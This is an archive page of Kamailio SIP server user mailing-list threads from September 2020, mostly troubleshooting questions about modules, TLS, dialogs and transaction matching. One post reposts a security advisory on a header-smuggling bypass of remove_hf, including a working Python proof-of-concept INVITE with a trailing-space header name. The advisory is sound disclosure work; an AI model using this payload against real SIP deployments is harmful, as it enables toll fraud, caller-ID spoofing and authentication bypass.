by Tim Unkrig 30 Sep '20

30 Sep '20

Hello hello, I would like to monitor our production kamailio cluster (5.3) with prometheus and I was in the beginning so happy to spot the xhhtp_prom module. But when we enabled it, the output was in view of prometheus malformed in combination with the usrloc module, we got the following output: kamailio_usrloc_location-contacts 0 1597934423943 kamailio_usrloc_location-expires 0 1597934423943 kamailio_usrloc_location-users 0 1597934423943 Prometheus only accepts “_” instead of “-“. So unfortunately I get "strconv.ParseFloat: parsing "-contacts": invalid syntax” on the prometheus primary node, when I activated the scraper. This has been issued in the master branch of kamailio with a sanatize function for that problem. But I would like to avoid compiling modules by myself, because this can be messy from time to time. That´s why my question, is there maybe another way of fixing this? I really appreciate any comments here and thanks for your time, Tim Unkrig

2 1

xavu methods equivalent to that of xavp (e.g. xavp_get_child)
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Using xavu (now that they have been fixed) in a custom C module, I've noticed that the following methods do not exist: xavu_get_child xavu_get_child_with_ival xavu_get_child_with_sval xavu_serialize_fields Though they are not strictly necessary, it could be useful to add them to Kamailio core. (Possibly with code refactoring, to avoid duplicating whole functions ?) What do you think? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

1 0

Re: [SR-Users] Trying to use xavu with "two level naming" => fixed
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Hello, I've rebuilt with the following commit: https://github.com/kamailio/kamailio/commit/aa8589ba66f984e93438a91a7fe8b26… Confirming the issue is now fixed. Thanks! Regards, Nicolas. De : Daniel-Constantin Mierla <miconda(a)gmail.com> Envoyé : mardi 29 septembre 2020 09:33 À : Kamailio (SER) - Users Mailing List; Chaigneau, Nicolas Objet : Re: [SR-Users] Trying to use xavu with "two level naming" Hello, can you try with the latest branch 5.4, there was a mistake in setting the callback function for parsing the name for this type of variable -- I just pushed a commit for in to master and 5.4 branches. Cheers, Daniel On 27.09.20 20:05, Chaigneau, Nicolas wrote: Hello, I'm trying to use xavu as described in Kamailio documentation: https://www.kamailio.org/wiki/cookbooks/5.4.x/pseudovariables#xavu_id_-_xav… $xavu(a=>b) = "xyz"; # <- two level naming supported However, this does not seem to work. The second level is ignored. When calling pv_xavu_print() it only shows the last element set, e.g.: $xavu(cdru=>one) = "one" ; $xavu(cdru=>two) = "two" ; pv_xavu_print() ; Result: 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:592]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) XAVU name: cdru 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:593]: xavx_print_list_content(): XAVU id: 1863997055 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:594]: xavx_print_list_content(): XAVU value type: 2 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:603]: xavx_print_list_content(): XAVU value (str): two 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:629]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) end 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:632]: xavx_print_list_content(): ----- end XAVU list: 0x7f217c55eab8 (level=0) Am I missing something, or is this a bug ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message. _______________________________________________ Kamailio (SER) - Users Mailing List sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla -- www.asipto.com<http://www.asipto.com> www.twitter.com/miconda<http://www.twitter.com/miconda> -- www.linkedin.com/in/miconda<http://www.linkedin.com/in/miconda> Funding: https://www.paypal.me/dcmierla

1 0

P2P Video call over Public IP
by amitsharma＠coraltele.com 30 Sep '20

30 Sep '20

Dear Team, I was trying P2P video calling over Public IP with Kamailio. I have used Linphone as client. But my call is connected but no video and audio was there. For reference I am attaching Client and Kamailio logs. Any help will be appreciated. Thanks & Regards, Amit Sharma (Sr. Team Leader) (An ISO 9001:2008 company) Mobile: <tel:9891612004> tel:9891612004 PH: +91 120 2595870 Ext.: <tel:870> tel:870 Email : <mailto:amitsharma@coraltele.com> amitsharma(a)coraltele.com Web : <blocked::http://www.coraltele.com> www.coraltele.com

2 1

Computing a time difference when handling a stateless SIP request
by Chaigneau, Nicolas 30 Sep '20

30 Sep '20

Hello, New to Kamailio, first post on this ML. I'll probably ask dumb questions, please bear with me :) Here goes the first one. I would like to compute a time difference (with microseconds precision) when handling a stateless SIP request. I looked into the core functions and modules but did not find anything suitable. Before I start implementing this by myself, I'd like to know if there's a simpler way. Thanks for your help! Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

5 8

I want to get call info from kamailio
by ahmed moghazy 29 Sep '20

29 Sep '20

Excuse me , I want to get call info

3 2

TOPOS issue
by David Villasmil 29 Sep '20

29 Sep '20

Hello guys, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) Anyone ever encountered this? Is this valid and should work? Regards, [image: prack.jpeg] David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

TOPOS issue
by David Villasmil 29 Sep '20

29 Sep '20

Hello all, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) Anyone ever encountered this? Is this valid and should work? [image: Screenshot 2020-09-29 at 19.34.19.png] Thanks! David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

1 0

websocket transport protocol in Record-Route header
by Juha Heinanen 29 Sep '20

29 Sep '20

No matter if UA uses ws or wss to connect to Kamailio, when K routes INVITE from this UA and record_route() is called, K always adds ;transport=ws parameter to Record-Route URI, for example, Record-Route: <sip:192.168.43.83:7998;transport=ws;r2=on;lr> In this test, Kamailio is listening on that port like this: # SIP over WebSocket listen=tls:192.168.43.83:7998 Why doesn't K in this case add ;transport=wss to the R-R URI? -- Juha

2 5

uac_replace_from function
by Ilie Soltanici 29 Sep '20

29 Sep '20

Hello, The uac_replace_from seems not to be working properly in the ver 5.4. This is the header I'm trying to change: *From: "Admin" <sip:+123456789@local.ip>;tag=as11428589* by using this function: uac_replace_from("","sip:+123456789@domain.com"); I'm getting the following header: *From: <sip:+123456789@domain.com35316853757>;tag=as11428589* (Double space in the callerid name, and number appended after the domain) Thank you.

1 1

A possibility to disable the topology hiding for some destinations.
by Leonid Fainshtein 29 Sep '20

29 Sep '20

Hi, The 'topos' module has a very useful "event_route[topos:msg-sending]" option that allows very easily to disable topology hiding for ITSPs that requires the real data in the Contact header field. It looks like the feature is not supported in the 'topoh' module (ref. https://kamailio.org/docs/modules/5.4.x/modules/topoh.html). The available 'event_route[topoh:msg-outgoing]' option requires defining the remote server IP address (or a list of addresses in some cases) that is not always convenient. Is there a chance that "event_route[topoh:msg-sending]" will be added? Best regards, Leonid Fainshtein

2 3

Received parameter on Via
by Duarte Rocha 29 Sep '20

29 Sep '20

Greetings, When NAT is detected in my Kamailio, the proxy add the parameter "received" to the Via header which includes the source IP. What is the mechanic or function responsible for this behaviour? Does it come from the NATHELPER module? Best Regards,

4 5

Kamailio 5.4.1 keepalive module failed to find command ka*
by Jan Rozhon 29 Sep '20

29 Sep '20

Hello, I have just started experimenting with keepalive module on 5.4 branch. I am trying to check if the phone is online and active (iOS with Linphone). Based on the docs from here:

2 1

Rewrite BYE to Cancel
by Lars Olsson 29 Sep '20

29 Sep '20

hi, I have a Kamailio setup infront of a SIP system that do not handle cancellation of a INVITE correctly. The system sends out a BYE request instead of a Cancel request on non connected dialogs. I am trying to find a way to let Kamailio "translate" the BYE request to a Cancel reqeust for the ongoing INVITE dialog. Alternative if SEMS b2bua can do it, but currently it replies: "not sip-relaying BYE in not connected dlg", and I have not found any obvious way to rewrite it there. Any thoughts. I can not change the behavior of the remote system. Best Regards, Lars

3 11

Trying to use xavu with "two level naming"
by Chaigneau, Nicolas 29 Sep '20

29 Sep '20

Hello, I'm trying to use xavu as described in Kamailio documentation: https://www.kamailio.org/wiki/cookbooks/5.4.x/pseudovariables#xavu_id_-_xav… $xavu(a=>b) = "xyz"; # <- two level naming supported However, this does not seem to work. The second level is ignored. When calling pv_xavu_print() it only shows the last element set, e.g.: $xavu(cdru=>one) = "one" ; $xavu(cdru=>two) = "two" ; pv_xavu_print() ; Result: 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:592]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) XAVU name: cdru 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:593]: xavx_print_list_content(): XAVU id: 1863997055 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:594]: xavx_print_list_content(): XAVU value type: 2 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:603]: xavx_print_list_content(): XAVU value (str): two 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:629]: xavx_print_list_content(): *** (l:0 - 0x7f217c55eab8) end 11(14989) INFO: {1 1 INVITE 7rc2rGgOYS56zDqN} <core> [core/xavp.c:632]: xavx_print_list_content(): ----- end XAVU list: 0x7f217c55eab8 (level=0) Am I missing something, or is this a bug ? Regards, Nicolas. This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message.

2 1

Dialog - timeout for dlg with CallID
by Ilie Soltanici 28 Sep '20

28 Sep '20

Hello, I'm trying to get CDR working in Kamailio by using the acc and dialog modules. Everything seemed to be working fine - until i noticed that for some of the calls the call duration is 0, even if that call has been successfully established and duration was for about a few minutes. In the Kamailio logs I'm getting such errors: WARNING: dialog [dlg_handlers.c:1649]: dlg_ontimeout(): timeout for dlg with CallID '304bad142b50bb3a7a117816439ea3d5' and tags 'as3adde5c7' '7d28152f-e0e3-4bcf-9d5c-21c3723b95c5' WARNING: acc [acc_cdr.c:230]: db_write_cdr(): fallback to dlg_only search because of message doesn't exist. This error I'm getting at about 2 min after the ACK message for 200 OK. I'm not sure that this is related to the dialog timeout, but below you can see the related configuration for the dialog module: modparam("dialog", "default_timeout", 10800) # 3 hours modparam("dialog", "early_timeout", 180) modparam("dialog", "noack_timeout", 90) Unfortunately, I'm not able to reproduce this issue, as that's happening randomly and just a few times per day. On the SIP Level i didn't notice any strange issues. Any ideas why is that happening? Thank you.

6 34

Lua kemi-test-suite now availble from luaRocks
by Yuriy Gorlichenko 28 Sep '20

28 Sep '20

Hello Kamailians! I'm glad to announce some updates about the Lua Kemi-test-suite which has been presented on KamailioWorld online 2020 conference https://github.com/ovoshlook/kemi-lua-test-suite There are some important updates that I hope will make your life easier if you use Lua KEMI. - Now (finally!) it is available via LuaRocks. So it is easy to go for now. No more manual source downloads! (this is the main reason I'm writing this message ). - More modules and some core functions have been mocked. It is still a lot of jobs that have to be done but the amount of available mocks is growing. - Added CRASH_PROTECTION functionality. So for now there is a mechanism which is checks if you calling a function with an incorrect amount of params ( see README ). - Extended mocking engine: now it is possible to mock any functions of KSR or third-party modules/libraries: for example, Redis, MySQL, or other connectors calls. P.S. suite still on development and changes from time to time, but published versions are stable and ready to use. P.P.S. Warm welcome to contributors.

2 1

lval_pvar_assign(): setting pvar failed
by Uttam Giri 28 Sep '20

28 Sep '20

Hi, i am using htable to assign internal transaction index and label.however its unable to assign the index and label modparam("htable", "htable", "hte=>size=8;autoexpire=300") $sht(hte=>id_index::$rU) = $T(id_index) $sht(hte=>id_label::$rU) = $T(id_label); Logs:- <script>: proceesing suspended in trasaction [10701:2082699975] Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:353]: lval_pvar_assign(): setting pvar failed Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:404]: lval_assign(): assignment failed at pos: (570,32-570,43) Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:353]: lval_pvar_assign(): setting pvar failed Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: ERROR: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <core> [core/lvalue.c:404]: lval_assign(): assignment failed at pos: (571,32-571,43) Sep 28 04:44:19 ip-172-31-36-96 /usr/sbin/kamailio[98519]: INFO: {1 29982 INVITE 8f62773bc3dc44a9adb32723f0d0e269} <script>: [SUSPEND] htable key value [<null> -- <null>] Is there any solution for this issue? Thanks, Uttam

2 1

IMS diameter server module
by Pavithra M 28 Sep '20

28 Sep '20

Hi, could anyone please give me some inputs on ims diameter server.. How it can be used ? I tried to use ims diameter server to send http request from pcscf to pcf. But before sending http request, it is sending diameter request to pcf and it is getting failed. I need to have only http request such that my http api should be sent to pcf from pcscf.So I need some input on how it can be used. I have referred the link https://kamailio.org/docs/modules/5.4.x/modules/ims_diameter_server.html but couldnt able to get much details .. If anybody have worked on this, It would be helpful if you give some more details Thanks, Pavithra

1 0

IMS diameter server module
by Pavithra Mohanraja 28 Sep '20

28 Sep '20

Hi, could anyone please give me some inputs on ims diameter server.. How it can be used ? I tried to use ims diameter server to send http request from pcscf to pcf. But before sending http request, it is sending diameter request to pcf and it is getting failed. I need to have only http request such that my http api should be sent to pcf from pcscf.So I need some input on how it can be used. I have referred the link https://kamailio.org/docs/modules/5.4.x/modules/ims_diameter_server.html but couldnt able to get much details .. If anybody have worked on this, It would be helpful if you give some more details Thanks, Pavithra

1 0

Setting up Kamailio IMS
by luke devon 27 Sep '20

27 Sep '20

Hi Team, Can somebody share a guide to setup Kamailio IMS in ubuntu or centos, please? ThanksLuke

2 1

Linphone push notifications (iOS) and kamailio
by Jan Rozhon 26 Sep '20

26 Sep '20

Hi, I know this is kind of a wrong forum for this question, but I have got no answer from linphone forum so I am trying my luck here. I have kamailio with pretty much the default config with slight modification enabling me the push notifications for iOS (via curl) and late forking (t_suspend, t_continue). But my linphone on iOS although gets awaken does not present me with the call I am trying to establish. Did anyone of you guys experimented with similar setup? If so, to what degree were you successful and can you share some insights especially on the format of push notification where I suspect my problem to be rooted? Thanks in advance and once again, sorry if I am off-topic too much. Regards, Jan

4 5

SRVCC Support
by Hamid Hashmi 25 Sep '20

25 Sep '20

Do Module RTPENGINE Supports 'Replaces' header (RFC 3891), if yes then how to use this feature if no then will module RTPEngine will have support for 'Replaces' in the near future? I have been using Freeswitch for this functionality but facing many difficulties in it. Regards Hamid R. Hashmi

3 3

Mapping History-Info <-> Diversion headers
by Anonim Stefan 25 Sep '20

25 Sep '20

Hi guys, I am trying to map all History-Info to/from Diversion headers in a given SIP REQUEST, based on RFC 7544. I want to ask if you are aware of any module functions that does that? (e.g. something like convert_history_to_diversion() and convert_diversion_to_history()) Alternatively, I want to ask you what do you think of such module functions and in which module would they fit best? e.g. textops/tectopsx/diversion ?! Thank you, Stefan

2 1

usrloc - ka_mode timeout
by Ilie Soltanici 25 Sep '20

25 Sep '20

Hello, Is there any way to add those functions from the nathelper module to the usrloc module? *keepalive_timeoutnatping_interval* I'm looking to use ka_mode feature from the usrloc module in order to have roundtrip time computed for each extension but because those functions are missing in the usrloc module and per documentation this functionality conflicts in some way with nathelper module it's not recommended to have both modules enabled. Or maybe there is another way to have them "interconnected"? Thank you.

2 9

rtpproxy_manage and AWS
by Aymeric Moizard 25 Sep '20

25 Sep '20

Hi, I have 2 hosts on AWS behind NAT: One with rtpproxy: /usr/local/bin/rtpproxy -f -p /run/rtpproxy/rtpproxy.pid -s udp: 0.0.0.0:31500 -A 15.236.230.177 <http://15.236.230.177/15.236.230.177> -l 0.0.0.0 <http://0.0.0.0/0.0.0.0> -m 35000 -M 65000 -d DBUG:LOG_LOCAL5 -u rtpproxy:rtpproxy -F The other one, with a kamailio and using only rtpproxy_manage(); without parameters. I'm surprised because in my SDP being modified, kamailio is replacing with its KAMILIO private IP. (not the rtpproxy one) I see that rtpproxy and kamailio are exchanging data. Nothing obvious is coming out. Any obvious mistakes? Anything you need to help? Should I switch to another rtp engine? Regards Aymeric -- Antisip - http://www.antisip.com

2 3

Record Route
by Andy Kama 24 Sep '20

24 Sep '20

I am trying to add a record route to my initial invite but in the logs i can see it says inserted preset record route but if i look in the invite there is not record route here is my config record_route_preset("mydns:5061;transport=tls", "myip:5060");

1 0

TLS Error
by Andy Kama 24 Sep '20

24 Sep '20

Hi Guys I am getting a strange tls error and not sure why my kamailio config is #!define WITH_TLS #!ifdef WITH_TLS enable_tls=1 listen=tls:1.2.3.4:5061 /* upper limit for TLS connections */ tls_max_connections=2048 #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif ###tls.cfg [server:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem [client:default] method = TLSv1.2+ verify_certificate = yes require_certificate = yes private_key = /usr/local/etc/kamailio/certs/privkey.pem certificate = /usr/local/etc/kamailio/certs/cert.crt ca_list = /usr/local/etc/kamailio/certs/cacert.pem Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8708]: INFO: {1 1 OPTIONS 84bbc013-5cd1-43a7-a240-106ec00aa628} <core> [core/tcp_main.c:2948]: tcpconn_1st_send(): quick connect for 0x7f776544c978 sock 13 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_util.h:42]: tls_err_ret(): TLS accept:error:14094418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8711]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f7765419b50 r: 0x7f7765419c78 (-1) Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1283]: tls_h_read_f(): protocol level error Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1287]: tls_h_read_f(): source IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: tls [tls_server.c:1290]: tls_h_read_f(): destination IP: 1.2.3.4 Sep 24 10:31:07kama1 /usr/local/sbin/kamailio[8712]: ERROR: <core> [core/tcp_read.c:1473]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f776544c978 r: 0x7f776544caa0 (-1)

1 0

Calling a user registered on a different kamailio
by Joey Golan 24 Sep '20

24 Sep '20

Hello, I’m trying to make a call between 2 users registered (TLS) on two different kamailio instances behind haproxy with NAT handling. UE1 is registered to kamailio1 UE2 is registered to kamailio2 DMQ and dmq_usrloc are enabled so each kamailio can see all registered users. What else do I need to do in order to make it work properly? Thanks, Joey.

2 3

Not seeing ACK to 200 as existing transaction
by Steve Bucklin 23 Sep '20

23 Sep '20

Hello all, If there is someone that can help with this, that would be rather good! I can supply further details upon anyone having seen this before....... In NORMAL operation, I get an INVITE and process this (My Kamailio is processing SS7 CAMEL, and does an MRSN lookup) It then makes the INVITE onwards to the MSRN collected. When answered, I see the 200. I pass the 200 back to the source of the INVITE I get the ACK, and use "t_check_trans()" and if that returns true will route the ACK onward (I am in the ACK path having set Record-route on the 200) This all works. FAILURE occurs when I get INVITE from another source (one step removed from the generating gateway) All works as it should *BUT* the t_check_trans() returns FALSE, so I guess there is a matching issue to the live transaction? I have tried a "work around" and routed the ACK anyway. This *does* work, and is routed correctly forward to the original "contact" and the 200 messages stop being repeated.. *BUT* the Kamailio instance here times out the dialog as the ACK was not seen correctly. I also popped a "t_check_trans()" into the reply route to test the 200 OK that I get, and that returns TRUE. Here is the 200 message that I send back to the INVITE sender: SIP/2.0 200 OK Via: SIP/2.0/UDP 52.1.2.3;rport=5060;branch=z9hG4bK7bb7.62ce43198ddade3212c715259623a75f.1 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK905c7e6e Record-Route: <sip:3.1.2.3;lr;ftag=81dd;did=08b.0141;vsf=AAAAAB8ABQMKCAgMAwUCCHgzWEQXXl5WSUNYQ14cUF5t> Record-Route: <sip:52.1.2.3:5060;lr> From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 INVITE Contact: <sip:+44739790XXXX@185.1.2.3:5060;transport=udp> User-Agent: Ziron Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REFER, NOTIFY, PUBLISH, SUBSCRIBE Supported: timer, path, replaces Allow-Events: talk, hold, conference, presence, as-feature-event, dialog, line-seize, call-info, sla, include-session-description, presence.winfo, message-summary, refer Content-Type: application/sdp Content-Disposition: session Content-Length: 216 P-Asserted-Identity: "Outbound Call" <sip:44780204XXXX@52.1.2.3> v=0 o=MSX53 11014726 11014726 IN IP4 88.1.2.3 s=sip call c=IN IP4 88.1.2.3 t=0 0 a=sendrecv m=audio 14810 RTP/AVP 8 99 a=rtpmap:8 PCMA/8000 a=rtpmap:99 telephone-event/8000 a=fmtp:99 0-15 a=ptime:20 And this is the ACK I get back: ACK sip:+44739790XXXX@185.1.2.3:5060;transport=udp SIP/2.0 Via: SIP/2.0/UDP 52.1.2.3;branch=z9hG4bK7bb7.cca0ec5a2c96b8fe82344d9835163595.0 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK6b8f7781 Contact: sip:+44128084XXXX@149.1.2.3 To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 ACK User-Agent: PartitionwareTM SIP Toolkit v4.0.30319 Content-Length: 0 Max-Forwards: 69 Allow: INVITE, ACK, CANCEL, BYE, INFO, OPTIONS, PRACK Supported: timer,100rel Allow-Events: telephone-event P-hint: outbound Any thoughts would be great, Steve

2 1

Kamailio Slack Channel Invite
by Peter Baines 23 Sep '20

23 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. Apologies if this is not the correct place to post. Regards, Peter -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
by Sandro Gauci 23 Sep '20

23 Sep '20

Dear Kamailio Users, posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue. Advisory follows: # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf - Fixed versions: Kamailio v5.4.0 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…> - Tested vulnerable versions: 5.3.5 and earlier - Timeline: - Report date & issue patched by Kamailio: 2020-07-16 - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 - Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01 ## Description Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. ## Impact The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. ## How to reproduce the issue We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>. The following python code could then be used to reproduce the issue: ```python #!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5) ``` In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0… in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. ## Solutions and recommendations The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

10 33

Kamailio drop calls with Teams
by sip user 22 Sep '20

22 Sep '20

